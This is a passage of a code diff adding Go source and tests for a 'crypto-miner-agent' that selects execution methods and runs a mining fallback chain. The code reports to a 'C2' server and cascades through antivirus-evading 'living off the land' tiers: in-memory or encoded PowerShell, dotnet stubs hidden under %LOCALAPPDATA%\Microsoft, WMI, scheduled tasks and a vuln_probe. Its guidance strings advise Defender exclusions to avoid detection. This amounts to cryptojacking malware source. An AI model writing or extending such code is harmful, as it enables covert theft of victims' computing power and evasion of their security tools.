t.Fatalf("chain=%v want powershell first", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionDotnet,
|
||||
PoolHost: "p",
|
||||
Wallet: "w",
|
||||
},
|
||||
}, ContainerRuntimeInfo{})
|
||||
if chain[0] != MethodDotnet {
|
||||
t.Fatalf("chain=%v want dotnet first", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
|
||||
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
|
||||
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionPowerShell,
|
||||
Wallet: "w",
|
||||
PoolHost: "p",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
})
|
||||
if len(chain) == 0 || chain[0] != TierPSInMemory {
|
||||
t.Fatalf("chain=%v want ps_inmemory first", chain)
|
||||
}
|
||||
}
|
||||
114
agent/miner/environment_probe.go
Normal file
114
agent/miner/environment_probe.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// EnvironmentProbes captures host capabilities that drive tier selection.
|
||||
type EnvironmentProbes struct {
|
||||
Docker bool `json:"docker"`
|
||||
WSL bool `json:"wsl"`
|
||||
PowerShell bool `json:"pwsh"`
|
||||
DotNet bool `json:"dotnet"`
|
||||
GPU bool `json:"gpu"`
|
||||
AVBlocksExe bool `json:"av_blocks_exe"`
|
||||
WebView2 bool `json:"webview2"`
|
||||
}
|
||||
|
||||
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
|
||||
var probeExecCommand = exec.Command
|
||||
|
||||
// SetProbeExecCommand restores the default when fn is nil.
|
||||
func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
probeExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
probeExecCommand = fn
|
||||
}
|
||||
|
||||
// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe.
|
||||
var gpuProbeFn = defaultGPUProbe
|
||||
|
||||
// SetGPUProbe restores the default when fn is nil.
|
||||
func SetGPUProbe(fn func() bool) {
|
||||
if fn == nil {
|
||||
gpuProbeFn = defaultGPUProbe
|
||||
return
|
||||
}
|
||||
gpuProbeFn = fn
|
||||
}
|
||||
|
||||
func defaultGPUProbe() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// ProbeEnvironment gathers tier eligibility signals from the local host.
|
||||
func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
||||
if runtimeFn == nil {
|
||||
runtimeFn = RuntimeDetector
|
||||
}
|
||||
rt := runtimeFn()
|
||||
p := EnvironmentProbes{
|
||||
Docker: rt.Available,
|
||||
GPU: gpuProbeFn(),
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
wsl := WSLDetector()
|
||||
p.WSL = wsl.Available
|
||||
p.PowerShell = probePowerShell()
|
||||
p.DotNet = probeDotNet()
|
||||
p.WebView2 = probeWebView2()
|
||||
p.AVBlocksExe = inferAVBlocksExe()
|
||||
} else if runtime.GOOS == "linux" {
|
||||
p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version")
|
||||
p.DotNet = commandOK("dotnet", "--version")
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func inferAVBlocksExe() bool {
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func probeWSL() bool {
|
||||
return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q")
|
||||
}
|
||||
|
||||
func probePowerShell() bool {
|
||||
return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") ||
|
||||
commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major")
|
||||
}
|
||||
|
||||
func probeDotNet() bool {
|
||||
return commandOK("dotnet", "--version")
|
||||
}
|
||||
|
||||
func probeWebView2() bool {
|
||||
paths := []string{
|
||||
os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`,
|
||||
os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`,
|
||||
}
|
||||
for _, base := range paths {
|
||||
if base == `\Microsoft\EdgeWebView\Application` {
|
||||
continue
|
||||
}
|
||||
if info, err := os.Stat(base); err == nil && info.IsDir() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`)
|
||||
}
|
||||
|
||||
func commandOK(name string, args ...string) bool {
|
||||
cmd := probeExecCommand(name, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
return cmd.Run() == nil
|
||||
}
|
||||
95
agent/miner/execution.go
Normal file
95
agent/miner/execution.go
Normal file
@@ -0,0 +1,95 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
|
||||
const (
|
||||
ExecutionAuto = "auto"
|
||||
ExecutionContainer = "container"
|
||||
ExecutionInProcess = "inprocess"
|
||||
ExecutionSubprocess = "subprocess"
|
||||
ExecutionPowerShell = "powershell"
|
||||
ExecutionDotnet = "dotnet"
|
||||
)
|
||||
|
||||
// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
|
||||
type ContainerRuntimeInfo struct {
|
||||
Available bool
|
||||
CLI string // "docker" or "podman"
|
||||
Version string
|
||||
}
|
||||
|
||||
// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
|
||||
var RuntimeDetector = DetectContainerRuntime
|
||||
|
||||
// SetRuntimeDetector restores the default detector when fn is nil.
|
||||
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
|
||||
if fn == nil {
|
||||
RuntimeDetector = DetectContainerRuntime
|
||||
return
|
||||
}
|
||||
RuntimeDetector = fn
|
||||
}
|
||||
|
||||
// ResolveExecutionMode picks the effective miner execution path.
|
||||
// auto → container when a runtime is available, otherwise inprocess.
|
||||
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
|
||||
runtime = RuntimeDetector()
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||
switch raw {
|
||||
case "", ExecutionAuto:
|
||||
if runtime.Available {
|
||||
return ExecutionContainer, runtime
|
||||
}
|
||||
return ExecutionInProcess, runtime
|
||||
case ExecutionContainer:
|
||||
return ExecutionContainer, runtime
|
||||
case ExecutionInProcess:
|
||||
return ExecutionInProcess, runtime
|
||||
case ExecutionSubprocess:
|
||||
return ExecutionSubprocess, runtime
|
||||
case ExecutionPowerShell:
|
||||
return ExecutionPowerShell, runtime
|
||||
case ExecutionDotnet:
|
||||
return ExecutionDotnet, runtime
|
||||
default:
|
||||
if runtime.Available {
|
||||
return ExecutionContainer, runtime
|
||||
}
|
||||
return ExecutionInProcess, runtime
|
||||
}
|
||||
}
|
||||
|
||||
// ContainerModeRequested reports whether forge/config asked for container isolation.
|
||||
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||
return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
|
||||
}
|
||||
|
||||
// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
|
||||
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
|
||||
switch mode {
|
||||
case ExecutionInProcess:
|
||||
return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
|
||||
case ExecutionContainer:
|
||||
if runtime.Available {
|
||||
return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
|
||||
}
|
||||
return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
|
||||
case ExecutionSubprocess:
|
||||
return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
|
||||
case ExecutionPowerShell:
|
||||
return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
|
||||
case ExecutionDotnet:
|
||||
return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
|
||||
default:
|
||||
if runtime.Available {
|
||||
return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
|
||||
}
|
||||
return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
|
||||
}
|
||||
}
|
||||
130
agent/miner/execution_test.go
Normal file
130
agent/miner/execution_test.go
Normal file
@@ -0,0 +1,130 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestResolveExecutionModeAutoWithDocker(t *testing.T) {
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
|
||||
})
|
||||
defer SetRuntimeDetector(nil)
|
||||
|
||||
mode, rt := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
|
||||
})
|
||||
if mode != ExecutionContainer {
|
||||
t.Fatalf("got mode %q want container", mode)
|
||||
}
|
||||
if !rt.Available || rt.CLI != "docker" {
|
||||
t.Fatalf("runtime %+v", rt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecutionModeAutoWithoutRuntime(t *testing.T) {
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
|
||||
defer SetRuntimeDetector(nil)
|
||||
|
||||
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
|
||||
})
|
||||
if mode != ExecutionInProcess {
|
||||
t.Fatalf("got %q want inprocess", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecutionModeForcedContainer(t *testing.T) {
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
|
||||
defer SetRuntimeDetector(nil)
|
||||
|
||||
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionContainer},
|
||||
})
|
||||
if mode != ExecutionContainer {
|
||||
t.Fatalf("got %q want container", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecutionModeInProcess(t *testing.T) {
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer SetRuntimeDetector(nil)
|
||||
|
||||
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||
})
|
||||
if mode != ExecutionInProcess {
|
||||
t.Fatalf("got %q want inprocess", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecutionModeSubprocess(t *testing.T) {
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
|
||||
defer SetRuntimeDetector(nil)
|
||||
|
||||
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionSubprocess},
|
||||
})
|
||||
if mode != ExecutionSubprocess {
|
||||
t.Fatalf("got %q want subprocess", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerModeRequested(t *testing.T) {
|
||||
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}) {
|
||||
t.Fatal("empty should request auto/container")
|
||||
}
|
||||
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "auto"}}) {
|
||||
t.Fatal("auto should request container path")
|
||||
}
|
||||
if ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "inprocess"}}) {
|
||||
t.Fatal("inprocess should not request container")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecutionModePowerShell(t *testing.T) {
|
||||
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionPowerShell},
|
||||
})
|
||||
if mode != ExecutionPowerShell {
|
||||
t.Fatalf("got %q want powershell", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecutionModeDotnet(t *testing.T) {
|
||||
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionDotnet},
|
||||
})
|
||||
if mode != ExecutionDotnet {
|
||||
t.Fatalf("got %q want dotnet", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVBlockRecommendation(t *testing.T) {
|
||||
if msg := AVBlockRecommendation(ExecutionInProcess, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
|
||||
t.Fatal("expected in-process guidance")
|
||||
}
|
||||
if msg := AVBlockRecommendation(ExecutionContainer, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
|
||||
t.Fatal("expected container guidance")
|
||||
}
|
||||
if msg := AVBlockRecommendation(ExecutionAuto, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
|
||||
t.Fatal("expected auto-mode guidance")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewContainerLauncherNoRuntime(t *testing.T) {
|
||||
_, err := NewContainerLauncher(config.RuntimeConfig{}, ContainerRuntimeInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("expected error without runtime")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerNameSanitize(t *testing.T) {
|
||||
name := containerName(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "build/01 test"}})
|
||||
if name != "aetherforge-miner-build-01-test" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
}
|
||||
742
agent/miner/fallback_chain.go
Normal file
742
agent/miner/fallback_chain.go
Normal file
@@ -0,0 +1,742 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"log"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrChainExhausted is returned when every primary method in the chain failed.
|
||||
ErrChainExhausted = errors.New("mining fallback chain exhausted")
|
||||
// ErrMethodUnavailable is returned when hooks for a method are missing.
|
||||
ErrMethodUnavailable = errors.New("mining method unavailable")
|
||||
)
|
||||
|
||||
// MiningMethod identifies one workload path in the cascade.
|
||||
type MiningMethod string
|
||||
|
||||
const (
|
||||
MethodDockerLoad MiningMethod = "docker_load"
|
||||
MethodContainer MiningMethod = "container" // LOTL tier alias: docker
|
||||
MethodWSL MiningMethod = "wsl"
|
||||
MethodPowerShell MiningMethod = "powershell"
|
||||
MethodDotnet MiningMethod = "dotnet"
|
||||
MethodInProcess MiningMethod = "inprocess"
|
||||
MethodGPUSubprocess MiningMethod = "gpu_subprocess"
|
||||
MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl"
|
||||
MethodStratumDirect MiningMethod = "stratum_direct"
|
||||
MethodWMI MiningMethod = "wmi"
|
||||
MethodScheduledTask MiningMethod = "scheduled_task"
|
||||
MethodGPUCompute MiningMethod = "gpu_compute"
|
||||
MethodWebView2Probe MiningMethod = "webview2_probe"
|
||||
MethodVulnProbe MiningMethod = "vuln_probe"
|
||||
)
|
||||
|
||||
// DefaultChainCooldown is the minimum wait between full chain re-passes.
|
||||
const DefaultChainCooldown = 30 * time.Second
|
||||
|
||||
// MethodFailure records one failed attempt for operator diagnostics.
|
||||
type MethodFailure struct {
|
||||
Method MiningMethod `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
}
|
||||
|
||||
// MiningStatus is the live cascade snapshot sent to C2/UI.
|
||||
type MiningStatus struct {
|
||||
ActiveMethod MiningMethod `json:"active_method"`
|
||||
ActiveMethods []MiningMethod `json:"active_methods,omitempty"`
|
||||
FailedMethods []MethodFailure `json:"failed_methods"`
|
||||
LastError string `json:"last_error,omitempty"`
|
||||
ChainOrder []MiningMethod `json:"chain_order,omitempty"`
|
||||
GPUParallel bool `json:"gpu_parallel,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
LOTLTier LOTLTier `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
}
|
||||
|
||||
// ChainHooks wires agent-specific start/stop logic without importing client.
|
||||
type ChainHooks struct {
|
||||
StartDockerLoad func() error
|
||||
StartContainer func() error
|
||||
StartWSL func() error
|
||||
StartPowerShell func() error
|
||||
StartDotnet func() error
|
||||
StartInProcess func() error
|
||||
StartGPU func() error
|
||||
StartPyOpenCL func() error
|
||||
StopDockerLoad func()
|
||||
StopContainer func()
|
||||
StopWSL func()
|
||||
StopPowerShell func()
|
||||
StopDotnet func()
|
||||
StopInProcess func()
|
||||
StopGPU func()
|
||||
StopPyOpenCL func()
|
||||
IsDockerLoadHealthy func() bool
|
||||
IsContainerHealthy func() bool
|
||||
IsWSLHealthy func() bool
|
||||
IsGPUSupported func() bool
|
||||
PoolConfigured func() bool
|
||||
RunTierProbes func() TierReport
|
||||
RunTierChain func() (LOTLTier, error)
|
||||
StopTiers func()
|
||||
WebGPUReady func() bool
|
||||
GPUComputeReady func() bool
|
||||
}
|
||||
|
||||
// FallbackReporter emits mining_status / mining_fallback events to C2.
|
||||
type FallbackReporter func(status MiningStatus, eventType string)
|
||||
|
||||
// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers.
|
||||
func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
|
||||
if HasImageTarPolicy(cfg) && runtime.Available {
|
||||
chain = append(chain, MethodDockerLoad)
|
||||
}
|
||||
if runtime.Available {
|
||||
chain = append(chain, MethodContainer)
|
||||
}
|
||||
if wsl := WSLDetector(); wsl.Available {
|
||||
chain = append(chain, MethodWSL)
|
||||
}
|
||||
return append(chain, MethodInProcess)
|
||||
}
|
||||
|
||||
// DefaultFallbackChain returns the ordered cascade for cfg + platform.
|
||||
// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs
|
||||
// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall.
|
||||
func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||
chain := make([]MiningMethod, 0, 6)
|
||||
|
||||
switch raw {
|
||||
case ExecutionPowerShell:
|
||||
chain = append(chain, MethodPowerShell, MethodInProcess)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
case ExecutionDotnet:
|
||||
chain = append(chain, MethodDotnet, MethodInProcess)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
case ExecutionSubprocess:
|
||||
chain = append(chain, MethodInProcess)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
case ExecutionInProcess:
|
||||
chain = append(chain, MethodInProcess)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
case ExecutionContainer:
|
||||
chain = appendLOTLPrimary(chain, cfg, runtime)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
case "", ExecutionAuto:
|
||||
chain = appendLOTLPrimary(chain, cfg, runtime)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
default:
|
||||
chain = appendLOTLPrimary(chain, cfg, runtime)
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUSubprocess)
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.PoolHost != "" {
|
||||
chain = append(chain, MethodStratumDirect)
|
||||
}
|
||||
chain = appendLinuxPyOpenCL(chain)
|
||||
return appendWindowsLOTLMethods(chain, cfg)
|
||||
}
|
||||
|
||||
// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists.
|
||||
func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod {
|
||||
if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() {
|
||||
return chain
|
||||
}
|
||||
out := make([]MiningMethod, 0, len(chain)+1)
|
||||
for _, m := range chain {
|
||||
if m == MethodStratumDirect {
|
||||
out = append(out, MethodLinuxPyOpenCL)
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain.
|
||||
func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod {
|
||||
for _, tier := range DefaultWindowsTierOrder() {
|
||||
switch tier {
|
||||
case TierWebView2Probe:
|
||||
chain = append(chain, MethodWebView2Probe)
|
||||
case TierWMI:
|
||||
chain = append(chain, MethodWMI)
|
||||
case TierScheduledTask:
|
||||
chain = append(chain, MethodScheduledTask)
|
||||
case TierGPUCompute:
|
||||
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||
chain = append(chain, MethodGPUCompute)
|
||||
}
|
||||
}
|
||||
}
|
||||
return chain
|
||||
}
|
||||
|
||||
// primaryMethods are CPU paths tried sequentially until one succeeds.
|
||||
func primaryMethods(chain []MiningMethod) []MiningMethod {
|
||||
var out []MiningMethod
|
||||
for _, m := range chain {
|
||||
switch m {
|
||||
case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess:
|
||||
out = append(out, m)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ChainController orchestrates sequential CPU fallback and parallel GPU addon.
|
||||
type ChainController struct {
|
||||
mu sync.RWMutex
|
||||
cfg config.RuntimeConfig
|
||||
runtime ContainerRuntimeInfo
|
||||
chain []MiningMethod
|
||||
hooks ChainHooks
|
||||
report FallbackReporter
|
||||
activePrimary MiningMethod
|
||||
gpuActive bool
|
||||
stratumActive bool
|
||||
failures []MethodFailure
|
||||
lastError string
|
||||
primaryIdx int
|
||||
paused bool
|
||||
lastFullPass time.Time
|
||||
chainExhausted bool
|
||||
lotlTier LOTLTier
|
||||
lotlAttempts []TierAttempt
|
||||
webGPUReady bool
|
||||
}
|
||||
|
||||
// NewChainController builds a controller with platform-aware chain order.
|
||||
func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController {
|
||||
rt := RuntimeDetector()
|
||||
return &ChainController{
|
||||
cfg: cfg,
|
||||
runtime: rt,
|
||||
chain: DefaultFallbackChain(cfg, rt),
|
||||
hooks: hooks,
|
||||
report: report,
|
||||
}
|
||||
}
|
||||
|
||||
// Status returns a snapshot of the cascade state.
|
||||
func (c *ChainController) Status() MiningStatus {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
return c.buildStatus()
|
||||
}
|
||||
|
||||
func (c *ChainController) buildStatus() MiningStatus {
|
||||
active := c.activePrimary
|
||||
if c.stratumActive && active == "" {
|
||||
active = MethodInProcess
|
||||
}
|
||||
if c.stratumActive && active == MethodInProcess {
|
||||
// Stratum overlays in-process — primary stays inprocess, flag overlay.
|
||||
}
|
||||
methods := make([]MiningMethod, 0, 3)
|
||||
if active != "" {
|
||||
methods = append(methods, active)
|
||||
}
|
||||
if c.gpuActive {
|
||||
methods = append(methods, MethodGPUSubprocess)
|
||||
}
|
||||
if c.stratumActive {
|
||||
// Report stratum as active_method when it is the only CPU path working.
|
||||
if active == "" {
|
||||
active = MethodStratumDirect
|
||||
methods = []MiningMethod{MethodStratumDirect}
|
||||
if c.gpuActive {
|
||||
methods = append(methods, MethodGPUSubprocess)
|
||||
}
|
||||
}
|
||||
}
|
||||
failures := make([]MethodFailure, len(c.failures))
|
||||
copy(failures, c.failures)
|
||||
chain := make([]MiningMethod, len(c.chain))
|
||||
copy(chain, c.chain)
|
||||
attempts := make([]TierAttempt, len(c.lotlAttempts))
|
||||
copy(attempts, c.lotlAttempts)
|
||||
return MiningStatus{
|
||||
ActiveMethod: active,
|
||||
ActiveMethods: methods,
|
||||
FailedMethods: failures,
|
||||
LastError: c.lastError,
|
||||
ChainOrder: chain,
|
||||
GPUParallel: c.gpuActive && active != "" && active != MethodGPUSubprocess,
|
||||
StratumOverlay: c.stratumActive,
|
||||
ChainExhausted: c.chainExhausted,
|
||||
LOTLTier: c.lotlTier,
|
||||
LOTLAttempts: attempts,
|
||||
WebGPUReady: c.webGPUReady,
|
||||
}
|
||||
}
|
||||
|
||||
// OnMethodFailed records a failure and notifies C2.
|
||||
func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) {
|
||||
c.mu.Lock()
|
||||
c.lastError = reason
|
||||
c.failures = append(c.failures, MethodFailure{
|
||||
Method: method,
|
||||
Reason: reason,
|
||||
At: time.Now().UTC().Format(time.RFC3339),
|
||||
})
|
||||
status := c.buildStatus()
|
||||
report := c.report
|
||||
c.mu.Unlock()
|
||||
|
||||
log.Printf("[mining-chain] %s failed: %s", method, reason)
|
||||
if report != nil {
|
||||
report(status, "mining_fallback")
|
||||
}
|
||||
}
|
||||
|
||||
// SetPrimaryActive marks which CPU method is currently handling RandomX.
|
||||
func (c *ChainController) SetPrimaryActive(method MiningMethod) {
|
||||
c.mu.Lock()
|
||||
c.activePrimary = method
|
||||
c.chainExhausted = false
|
||||
if method != "" {
|
||||
c.primaryIdx = 0
|
||||
for i, m := range primaryMethods(c.chain) {
|
||||
if m == method {
|
||||
c.primaryIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
status := c.buildStatus()
|
||||
report := c.report
|
||||
c.mu.Unlock()
|
||||
if report != nil {
|
||||
report(status, "mining_status")
|
||||
}
|
||||
}
|
||||
|
||||
// SetGPUActive records parallel RVN subprocess state.
|
||||
func (c *ChainController) SetGPUActive(active bool) {
|
||||
c.mu.Lock()
|
||||
c.gpuActive = active
|
||||
status := c.buildStatus()
|
||||
report := c.report
|
||||
c.mu.Unlock()
|
||||
if report != nil {
|
||||
report(status, "mining_status")
|
||||
}
|
||||
}
|
||||
|
||||
// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass).
|
||||
func (c *ChainController) SetStratumActive(active bool) {
|
||||
c.mu.Lock()
|
||||
c.stratumActive = active
|
||||
status := c.buildStatus()
|
||||
report := c.report
|
||||
c.mu.Unlock()
|
||||
if report != nil {
|
||||
event := "mining_status"
|
||||
if active {
|
||||
event = "mining_fallback"
|
||||
}
|
||||
report(status, event)
|
||||
}
|
||||
}
|
||||
|
||||
// MergeLOTLReport copies tier onion telemetry into the cascade snapshot.
|
||||
func (c *ChainController) MergeLOTLReport(rep TierReport) {
|
||||
c.mu.Lock()
|
||||
c.lotlTier = rep.ActiveTier
|
||||
if len(rep.Attempts) > 0 {
|
||||
c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...)
|
||||
}
|
||||
c.webGPUReady = rep.WebGPUReady
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// TryChain attempts each primary CPU method until one starts successfully.
|
||||
func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) {
|
||||
c.mu.Lock()
|
||||
if c.paused {
|
||||
c.mu.Unlock()
|
||||
return "", nil
|
||||
}
|
||||
if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown {
|
||||
c.mu.Unlock()
|
||||
return c.activePrimary, nil
|
||||
}
|
||||
c.lastFullPass = time.Now()
|
||||
c.chainExhausted = false
|
||||
hooks := c.hooks
|
||||
primary := primaryMethods(c.chain)
|
||||
c.mu.Unlock()
|
||||
|
||||
if len(primary) == 0 {
|
||||
primary = []MiningMethod{MethodInProcess}
|
||||
}
|
||||
|
||||
var lastErr error
|
||||
for _, method := range primary {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
if err := c.tryStartPrimary(method, hooks); err != nil {
|
||||
lastErr = err
|
||||
c.OnMethodFailed(method, err.Error())
|
||||
c.stopPrimaryMethod(method, hooks)
|
||||
continue
|
||||
}
|
||||
